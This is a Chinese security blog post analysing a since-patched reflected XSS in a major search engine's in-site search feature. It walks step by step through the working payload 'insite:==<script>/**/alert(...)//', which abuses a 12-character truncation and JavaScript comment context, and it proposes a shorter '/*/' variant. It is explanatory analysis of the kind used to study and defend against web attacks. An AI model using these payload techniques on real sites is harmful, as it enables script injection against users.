下午某度XSS验证代码的分析

  • A+
所属分类:安全文章
一、背景描述
二、定位SINK

三、细节一:insite

四、细节二:两处输出点

五、细节三:浏览器渲染的优先级

六、Payload的一些细节

    1.首先必需要使用insite:来将Payload输出到站点内搜索的tab中

    2.加入<script>标签

    3.利用多行注释+输出点1的字符截断解决报错

七、一些新的想法

一、背景描述

下午在工作,偶然打开群聊后,发现到处都在发了某度搜索的一个XSS,因为没什么要紧事所以就顺道分析一下。因为发现的比较晚(工作太投入了),所以只分析了一会就被修复了,没法进一步推测一些细节;不过还好的是当时页面另存到本地了。

二、定位SINK

PAYLOAD如下所示:
insite:==<script>/**/alert(/sink/)//
F12搜索一下关键字,好家伙好多输出点,于是将页面另存到本地,打开CodeQL。
假设是反射型XSS的话,alert肯定被JavaScript认为是一个命令,而非普通文本
下午某度XSS验证代码的分析

三、细节一:insite
为什么要使用insite,是因为本次的输出点,位于这个站点内检索的功能,
下午某度XSS验证代码的分析
在使用站点内检索时,会将设置的站点名输出出来,像下面这样。
下午某度XSS验证代码的分析

四、细节二:两处输出点

要搜索的内容,存在多处输出点,关键的输出点有两处,我简化了一下,HTML源代码结构如下所示:
<div><span>{sink}</span></div>
<script>
foo = "{sink}";
</script>
第一个输出点就是上图中站点内检索,输出qq.com的位置,第二个是在script标签内,用参数来记录搜索内容。


输出点1的情况:
1)限制了输出点内容的长度,最多显示12个字符,超出字符使用...表示
2)存在HTML注入

我们看一下可利用的最短的XSS Payload,20个字符,明显仅凭输出点1无法利用。
下午某度XSS验证代码的分析


输出点2的情况:
1)未限制输出点内容的产犊
2)存在XSS防护,会对尖括号和引号进行HTML实体编码


将sink的值设置为0123456789ABCD时,正常的输出像下面这个样子
<div><span>0123456789AB...</span></div>
<script>
foo = "0123456789ABCD";
</script>

五、细节三:浏览器渲染的优先级


1.浏览器在遇到<script>标签后,会调用JavaScript引擎进行渲染
2.JavaScript引擎在遇到/*后,会认为进入了注释的语境中,直到遇到*/,再跳出注释会话。


另外提一句,在<script>标签内的语境中时, </script>这个Tokend的优先级高于一起;所以说在注释的语境中时,除非遇到</script>,否则只有读到*/才会跳出注释语境。
而。

六、Payload的一些细节

如下是根据该Payload推测的一些细节:
1.首先必需要使用insite:来将Payload输出到站点内搜索的tab中

insite:


2.加入<script>标签
insite:<script>

此时,HTML源代码的结构类似下面这个样子,会认为</span></div> <script> foo = "&lt;script&gt;";这些都在JS代码,引发报错。

<div><span><script></span></div>
<script>
 foo = "&lt;script&gt;";
</script>

这是因为<script>标签内的语句中时,必须读到</script>才会跳出。如果后面没有出现时,浏览器会认为后面所有的内容都在<script>标签内(包括</body></html>),然后手动追加</script></body></html>

3.利用多行注释+输出点1的字符截断解决报错

3.1 在输出点1开始注释
insite:<script>/*
此时,HTML源代码的结构类似下面这个样子,会认为</span></div> <script> foo = "&lt;script&gt;/*";这些都是被注释的内容
<div><span><script>/*</span></div>
<script>
 foo = "&lt;script&gt;/*";
</script>

3.2 在输出点2结束注释
insite:<script>/**/
此时,HTML源代码的结构类似下面这个样子
<div><span><script>/**/</span></div>
<script>
 foo = "&lt;script&gt;/**/";
</script>
考虑到渲染的优先级,进入到注释语境中后,只有遇到*/才认为跳出注释语境,但是如上所示,进入注释语境后,立马就会遇到*/,所以认为跳出了。

3.3 利用输出点1的字符限制截断注释结束符号
在输出点1想要保留的字符是<script>/*,一共10个字符,输出点1限制字符为12个
下午某度XSS验证代码的分析
所以在<script>前面填充两个字符
insite:==<script>/**/
此时,HTML源代码的结构类似下面这个样子,如下所示蓝色部分认为是JS的注释
<div><span>==<script>/*</span></div>
<script>
 foo = "==&lt;script&gt;/**/";
</script>

3.4 例如单行注释闭合输出点2后面的引号
insite:==<script>/**/{PAYLOAD};//
此时,HTML源代码的结构类似下面这个样子
<div><span>==<script>/*</span></div>
<script>
 foo = "==&lt;script&gt;/**/{PAYLAOD};//";
</script>

七、一些新的想法

在写细节3.2的时候,想到一个点,/*是开始符号,认为*/是结束符号,既然JavaScript引擎进入多行注释的语境后,只有遇到*/才跳出,那么完全可以使用/*/来满足这个开始和结束的两个需求。

insite:<script>/*/alert(/1/);//
此时,HTML源代码的结构类似下面这个样子

<div><span><script>/*/a</span></div>
<script>
 foo = "==&lt;script&gt;/*/alert(/sink/);//";
</script>

这样的话,可以不用考虑在输出点1闭合注释的困难了。

原文始发于微信公众号(楼兰学习网络安全):下午某度XSS验证代码的分析

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: